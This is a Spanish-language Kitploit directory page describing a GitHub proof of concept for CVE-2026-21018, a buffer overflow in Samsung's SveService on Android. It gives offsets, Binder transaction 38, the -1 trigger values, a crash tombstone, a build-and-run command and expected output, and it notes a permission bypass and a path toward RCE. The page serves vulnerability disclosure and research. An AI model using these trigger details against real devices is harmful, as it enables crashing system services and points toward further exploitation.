Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-21018 — PoC mínimo de un desbordamiento de búfer en Samsung SveService, que demuestra una escritura fuera de los límites mediante Binder para bloquear el servicio del sistema Android sin permisos especiales. | Kitploit
Herramientas/GitHubGitHub/pealeap/cve-2026-21018
Seguridad AndroidAnálisis de VulnerabilidadesExplotaciónIngeniería InversaSeguridad MóvilExplotación de Binarios
GitHubpealeap/cve-2026-21018

CVE-2026-21018

PoC mínimo de un desbordamiento de búfer en Samsung SveService, que demuestra una escritura fuera de los límites mediante Binder para bloquear el servicio del sistema Android sin permisos especiales.

Ver Repositorio
1hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

SveService: Desbordamiento de Búfer

Portugués Inglés


Samsung SMR May 2026

SVE-2026-0478(CVE-2026-21018)

Versiones afectadas: Android 14, 15, 16

Estado de divulgación: Divulgación privada

Una escritura fuera de los límites en SveService anterior a SMR May-2026 Release 1 permite a atacantes locales privilegiados ejecutar código arbitrario.

El parche añade una validación de entrada adecuada.


Advertencia: esto es una prueba de concepto (PoC) únicamente con fines educativos; no soy responsable de nada que hagas que no sea estudiar. Ya has sido advertido.

Esto fue probado en un Galaxy A17 LTE (SM-A175F)


Inglés

Resumen

Vulnerabilidad de desbordamiento de búfer en el servicio de sistema SveService (com.sec.sve) en dispositivos Samsung con Android 16. El servicio se ejecuta como system (UID 1000) y es accesible sin ningún permiso especial a través de Binder.

Componentes

ComponenteRolVersión
sveservice.apkServicio de AndroidAPI 36
libsvejni.soBiblioteca nativa ARM64Build ID: 0a71afa45f8688b4314ed8e5a0aea8b9

La Vulnerabilidad

En sveJNISVE_SetCodecInfo (libsvejni.so:0x21710), los parámetros i18, i19, i20 (recibidos de AIDL como i106/i107/i108, TRANSACTION_sveSetCodecInfo = 38) se pasan directamente a memset, sub sp, sp, xN (alloca) y memcpy sin ninguna validación de tamaño.

Las funciones similares (GetVersion, EnableSRTP, SetSRTPParams, SetGcmSrtpParams) validan con cmp w20, #0x1e; b.gt (rechazando > 30 bytes). SetCodecInfo no valida en absoluto.

Flujo de la llamada

root@kitploit:~
App/Script
  → ServiceManager.getService("SveService")
  → transact(38, parcel, ...)
  → ISecVideoEngineService$Stub.onTransact()
  → SecVideoEngineImpl.sveSetCodecInfo()
  → SveJniProxy.sveJNISVE_SetCodecInfo()
  → libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
       ├── memset(dst, 0, i18)
       ├── sub sp, sp, (i19+15)&~15
       ├── memset(dst, 0, i19)
       ├── sub sp, sp, (i20+15)&~15
       ├── memset(dst, 0, i20)
       ├── memcpy(dst, src, i18)
       ├── memcpy(dst, src, i19)
       └── memcpy(dst, src, i20)

Valores con -1 (0xFFFFFFFF)

Evidencia del Crash (Tombstone 07)

root@kitploit:~
Cause: stack pointer is in a non-existent map; likely due to stack overflow.
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR)

#00  __memset_aarch64+160       libc.so
#01  sveJNISVE_SetCodecInfo+504 libsvejni.so (offset 0x21908)

x2  00000000ffffffff   ← memset count = 4GB
x24 00000000ffffffff   ← i18 = -1
sp  000000707f5f7610   ← SP in invalid region
x29 000000717f5f7710   ← original frame pointer

PoC

root@kitploit:~
cd poc
./build_and_run.sh

Salida esperada:

root@kitploit:~
[*] Phase 1: valid call (1,1,1)...
[+] Returned: 0
[*] Phase 2: i106=-1...
[!] Exception: DeadObjectException: null
[+] SveService CRASHED - overflow confirmed

Notas

  • No se requiere root: ServiceManager.getService() a través de app_process funciona como UID shell.
  • Bypass de permisos: el permiso signatureOrSystem NO se aplica — el servicio se registra directamente a través de ServiceManager.addService(), evadiendo el mecanismo de permisos de Android.
  • Crash inevitable: memset con 0xFFFFFFFF siempre provoca un crash. Un RCE requeriría una fuga de direcciones + ROP (PAC ausente en SM-A175F).

Portugués

Resumen

Vulnerabilidad de desbordamiento de búfer en el servicio de sistema SveService (com.sec.sve) en dispositivos Samsung con Android 16. El servicio se ejecuta como system (UID 1000) y es accesible sin ningún permiso especial a través de Binder.

Componentes

ComponenteRolVersión
sveservice.apkServicio de AndroidAPI 36
libsvejni.soBiblioteca nativa ARM64Build ID: 0a71afa45f8688b4314ed8e5a0aea8b9

La Vulnerabilidad

En la función sveJNISVE_SetCodecInfo (libsvejni.so:0x21710), los parámetros i18, i19, i20 (recibidos de AIDL como i106/i107/i108, TRANSACTION_sveSetCodecInfo = 38) se usan directamente como argumentos para memset, sub sp, sp, xN (alloca) y memcpy sin ninguna validación de tamaño.

Otras funciones similares (GetVersion, EnableSRTP, SetSRTPParams, SetGcmSrtpParams) validan con cmp w20, #0x1e; b.gt (rechazan > 30 bytes). SetCodecInfo no valida nada.

Flujo de la llamada

root@kitploit:~
App/Script
  → ServiceManager.getService("SveService")
  → transact(38, parcel, ...)
  → ISecVideoEngineService$Stub.onTransact()
  → SecVideoEngineImpl.sveSetCodecInfo()
  → SveJniProxy.sveJNISVE_SetCodecInfo()
  → libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
       ├── memset(dst, 0, i18)
       ├── sub sp, sp, (i19+15)&~15
       ├── memset(dst, 0, i19)
       ├── sub sp, sp, (i20+15)&~15
       ├── memset(dst, 0, i20)
       ├── memcpy(dst, src, i18)
       ├── memcpy(dst, src, i19)
       └── memcpy(dst, src, i20)

Valores con -1 (0xFFFFFFFF)

PoC

root@kitploit:~
cd poc
./build_and_run.sh

Salida esperada:

root@kitploit:~
[*] Phase 1: valid call (1,1,1)...
[+] Returned: 0
[*] Phase 2: i106=-1...
[!] Exception: DeadObjectException: null
[+] SveService CRASHED - overflow confirmed

Observaciones

  • Sin root: ServiceManager.getService() a través de app_process funciona con UID shell.
  • Permiso: El permiso signatureOrSystem NO se aplica — el servicio se registra directamente a través de ServiceManager.addService(), saltándose la comprobación de permisos.
  • Crash inevitable: memset con 0xFFFFFFFF siempre crashea. Un RCE necesitaría una fuga de dirección + ROP (PAC ausente en SM-A175F).
Descargar herramienta
OperaciónValorEfecto
(i18 + 15) & ~150Asigna 0 bytes
memset(buf, 0, i18)0x00000000FFFFFFFFIntenta poner a cero 4 GB → SIGSEGV
sxtw(i18) para memcpy0xFFFFFFFFFFFFFFFFExtensión de signo de -1 → ~18 exabytes
OperaciónValorEfecto
(i18 + 15) & ~150Asigna 0 bytes
memset(buf, 0, i18)0x00000000FFFFFFFFIntenta poner a cero 4 GB → SIGSEGV
sxtw(i18) para memcpy0xFFFFFFFFFFFFFFFFExtensión de signo de -1 → ~18 exabytes